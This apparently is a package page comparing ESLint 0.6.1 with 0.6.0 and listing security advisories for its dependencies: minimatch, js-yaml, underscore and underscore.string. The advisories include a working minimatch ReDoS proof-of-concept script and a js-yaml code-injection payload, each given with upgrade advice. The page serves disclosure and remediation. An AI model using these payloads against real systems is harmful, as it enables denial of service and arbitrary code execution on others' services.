ESLint version 0.6.1 is a minor update to the popular JavaScript linting tool, building upon the foundation laid by version 0.6.0. Both versions offer robust static code analysis capabilities, helping developers enforce coding standards, identify potential errors, and improve code quality. They share core dependencies like Esprima for parsing, Escope for scope analysis, and a suite of utilities for formatting and reporting. However, a key difference surfaces in the dependencies section: version 0.6.1 utilizes optionator version ^0.4.0 while version 0.6.0 depends on optionator version ~0.3.0. This suggests an update to the command-line option parsing, potentially introducing new features, improved performance, or bug fixes related to option handling.
For developers, this means that upgrading to 0.6.1 could provide a smoother experience when configuring and using ESLint from the command line. All the other dependencies and devDependencies appear to be the same. Given the very small time difference in release date (less than 15 minutes), the changes are likely minimal. Developers should review the optionator changelog for details on specific improvements or breaking changes, if any, when upgrading from an older version. If you weren't explicitly using functionalities associated with the new version of the optionator package, the upgrade should be seamless and transparent. Both versions offer a comprehensive linting solution adaptable to various JavaScript projects and coding styles.
All the vulnerabilities related to the version 0.6.1 of the package
Regular Expression Denial of Service in minimatch
Affected versions of minimatch are vulnerable to regular expression denial of service attacks when user input is passed into the pattern argument of minimatch(path, pattern).
var minimatch = require(“minimatch”);
// utility function for generating long strings
var genstr = function (len, chr) {
var result = “”;
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
var exploit = “[!” + genstr(1000000, “\\”) + “A”;
// minimatch exploit.
console.log(“starting minimatch”);
minimatch(“foo”, exploit);
console.log(“finishing minimatch”);
Update to version 3.0.2 or later.
minimatch ReDoS vulnerability
A vulnerability was found in the minimatch package. This flaw allows a Regular Expression Denial of Service (ReDoS) when calling the braceExpand function with specific arguments, resulting in a Denial of Service.
Denial of Service in js-yaml
Versions of js-yaml prior to 3.13.0 are vulnerable to Denial of Service. By parsing a carefully-crafted YAML file, the node process stalls and may exhaust system resources leading to a Denial of Service.
Upgrade to version 3.13.0.
Code Injection in js-yaml
Versions of js-yaml prior to 3.13.1 are vulnerable to Code Injection. The load() function may execute arbitrary code injected through a malicious YAML file. Objects that have toString as key, JavaScript code as value and are used as explicit mapping keys allow attackers to execute the supplied code through the load() function. The safeLoad() function is unaffected.
An example payload is
{ toString: !<tag:yaml.org,2002:js/function> 'function (){return Date.now()}' } : 1
which returns the object
{
"1553107949161": 1
}
Upgrade to version 3.13.1.
Arbitrary Code Execution in underscore
The package underscore from 1.13.0-0 and before 1.13.0-2, from 1.3.2 and before 1.12.1 are vulnerable to Arbitrary Code Execution via the template function, particularly when a variable property is passed as an argument as it is not sanitized.
Regular Expression Denial of Service in underscore.string
Versions of underscore.string prior to 3.3.5 are vulnerable to Regular Expression Denial of Service (ReDoS).
The function unescapeHTML is vulnerable to ReDoS due to an overly-broad regex. The slowdown is approximately 2s for 50,000 characters but grows exponentially with larger inputs.
Upgrade to version 3.3.5 or higher.